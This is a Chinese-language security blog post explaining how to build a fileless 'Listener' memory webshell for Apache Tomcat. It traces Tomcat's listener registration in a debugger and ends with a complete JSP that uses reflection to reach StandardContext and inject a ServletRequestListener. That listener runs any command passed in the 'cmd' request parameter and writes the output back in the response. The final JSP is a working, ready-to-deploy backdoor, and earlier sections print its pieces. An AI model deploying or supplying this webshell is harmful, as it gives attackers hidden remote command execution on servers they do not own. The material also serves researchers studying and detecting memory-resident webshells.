Tomcat-Listener型内存马
2023-08-11 17:36:36

[toc]

# 0x01 Listener 基础知识

Java Web 开发中的监听器(Listener)就是 Application、Session 和 Request 三大对象创建、销毁或者往其中添加、修改、删除属性时自动执行代码的功能组件。

# 用途

可以使用监听器监听客户端的请求、服务端的操作等。通过监听器,可以自动出发一些动作,比如监听在线的用户数量,统计网站访问量、网站访问监控等。

# Listener 三个域对象

我们知道监听器的过程:Listener -> Filter -> Servlet

Listener 是最先被加载的,所以可以利用动态注册恶意的 Listener 内存马。而 Listener 分为以下几种:

  • ServletContextListener:服务器启动和终止时触发
  • HttpSessionListener:有关 Session 操作时触发
  • ServletRequestListener:访问服务时触发

很明显,ServletRequestListener 是最适合用来作为内存马的。因为 ServletRequestListener 是用来监听 ServletRequest 对 象的,当我们访问任意资源时,都会触发 ServletRequestListener#requestInitialized() 方法。下面我们来实现一个恶意的 Listener

# 0x02 分析

内存马的实现其实就是动态注册一个 Filter/Servlet/Listener 然后在其中编写恶意方法,那么就能起到文件不落地并执行命令的目的

所以在编写 Listener 内存马 Payload 的时候我们首先需要捋清楚 Tomcat 中 Listener 的注册流程

最直观的方式就是编写一个 Listener 然后通过断点去分析注册流程

# 0x03 Listener 基础代码实现

和 Filter 型内存马一样的, Filter 内存马需要定义一个实现 Filter 接口的类,如果在 Tomcat 要引入 Listener,需要实现两种接口,分别是 LifecycleListener 和原生 EvenListener。

实现了 LifecycleListener 接口的监听器一般作用于 tomcat 初始化启动阶段,此时客户端的请求还没进入解析阶段,不适合用于内存马。另一个 EventListener 接口,在 Tomcat 中,自定义了很多继承于 EventListener 的接口,应用于各个对象的监听。

requestInitialized **:** 在 request 对象创建时触发

requestDestroyed **:** 在 request 对象销毁时触发

这里进行测试

Listener 的业务必须实现 EventListener 接口

image-20231202164905791

它的实现类非常多,关键是要找到一个每次请求都会触发的 Listener

通过 Tomcat 的学习我们知道 Sevlet 是规范接口,所以我们是这去找 Servlet 开头的 Listener

这里尝试 ServletRequestListener

因为根据名字以及其中的 requestInitialized 方法感觉我们的发送的每个请求都会触发这个监控器

image-20231202192356792

写一个监听器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package Listener;  

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
import java.util.EventListener;

@WebListener("/listenerTest")
public class ListenerTest implements ServletRequestListener {

public ListenerTest(){
}

@Override
public void requestDestroyed(ServletRequestEvent sre) {

}

@Override
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("Listener 被调用");
}
}

在 web.xml 添加

1
2
3
<listener>
<listener-class>com.example.tomcat_listener.ListenerTest</listener-class>
</listener>

说明 listener 已经注册到程序中了

image-20231202203412233

# 0x04 Listener 流程分析

经过上面的 Listener 流程,首先要确认内存马的位置,也就是对象创建初始化的地方,其次是 Listener 是如何动态注册的

打上断点

image-20231202214929345

在 standardhostvalve 这里获取到 request 中的 StandardContext 对象

获取对象后调用 fireRequestInitEvent 方法

image-20231202231803984

跟进

可以看到是通过遍历 instances 数组,而 instances 数组就是通过 getApplicationEventListeners 方法来进行获取的值

最终到达 listenner 的初始化方法,初始化我们的恶意 listener

image-20231202234313887

在这之中又调用了 getApplicationEventListeners 方法

这里就是将获取的对象以数组形式返回,为了后面的遍历然后初始化

image-20231202234830099

添加 listener 的地方

image-20231202234918687

那么我们只需要获取 StandardContext, 然后调用 addApplicationEventListener 并传入自定义的 Listener 实例即可成功注入内存马

大概来梳理一下流程

首先就是获取到 StandardContext,然后通过 addApplicationEventListener 加载 listener

最后初始化 requestInitialized

# 获取 Request 和 Response 对象

首先明确 StandardContext 对象的获取

在 StandardHostValve 中的 invoke 方法获取 StandardContext

image-20231203004448502

然后到 Servlet 请求事件

image-20231203150918969

可以看到 request 是 RequestFacade 的实例

查看 RequestFacade 的定义,这里有我们需要的 request 属性

image-20231203152403222

那我们通过反射获取私有字段即可完成对 Request 对象的构造

# 构造 EXP

首先是反射构造 Request 对象

1
2
3
4
5
6
cmd = sre.getServletRequest().getParameter("cmd");
org.apache.catalina.connector.RequestFacade requestFacade = (RequestFacade) sre.getServletRequest();
Field requestFacadefield = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
requestFacadefield.setAccessible(true);
Request request = (Request) requestFacadefield.get(requestFacade);
Response response = request.getResponse();

然后是恶意类

1
2
3
4
5
6
7
8
9
10
11
12
if (cmd !=null){
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
int i = -1;
byte[] bytes = new byte[2048];
while ((i=inputStream.read(bytes)) !=-1){
response.getWriter().write(new String(bytes,0,i));
response.getWriter().write("\r\n");
}
}
}catch (Exception e){
e.printStackTrace();
}

image-20231203185635753

下面就是把 listener 动态注册进去

调用 getApplicationEventListeners 获取 applicationEventListenersList

把我们构造的 Listener 添加进去

1
2
3
4
5
Object[] objects = standardContext.getApplicationEventListeners();
List<Object> listeners = Arrays.asList(objects);
List<Object> arrayList = new ArrayList(listeners);
arrayList.add(new ListenerMemShell());
standardContext.setApplicationEventListeners(arrayList.toArray());

然后是上下文环境,方法都在 StandardContext 中。

1
2
3
4
5
6
7
8
ServletContext servletContext =  request.getServletContext(); 
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);

Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

至此 Listener 内存马大致就构造好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.Arrays" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%!

class ListenerMemShell implements ServletRequestListener {

@Override
public void requestInitialized(ServletRequestEvent sre) {
String cmd;
try {
cmd = sre.getServletRequest().getParameter("cmd");
org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
requestField.setAccessible(true);
Request request = (Request) requestField.get(requestFacade);
Response response = request.getResponse();

if (cmd != null){
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
int i = 0;
byte[] bytes = new byte[1024];
while ((i=inputStream.read(bytes)) != -1){
response.getWriter().write(new String(bytes,0,i));
response.getWriter().write("\r\n");
}
}
}catch (Exception e){
e.printStackTrace();
}
}

@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
}
%>

<%
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);

Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

Object[] objects = standardContext.getApplicationEventListeners();
List<Object> listeners = Arrays.asList(objects);
List<Object> arrayList = new ArrayList(listeners);
arrayList.add(new ListenerMemShell());
standardContext.setApplicationEventListeners(arrayList.toArray());

%>

image-20231203185751767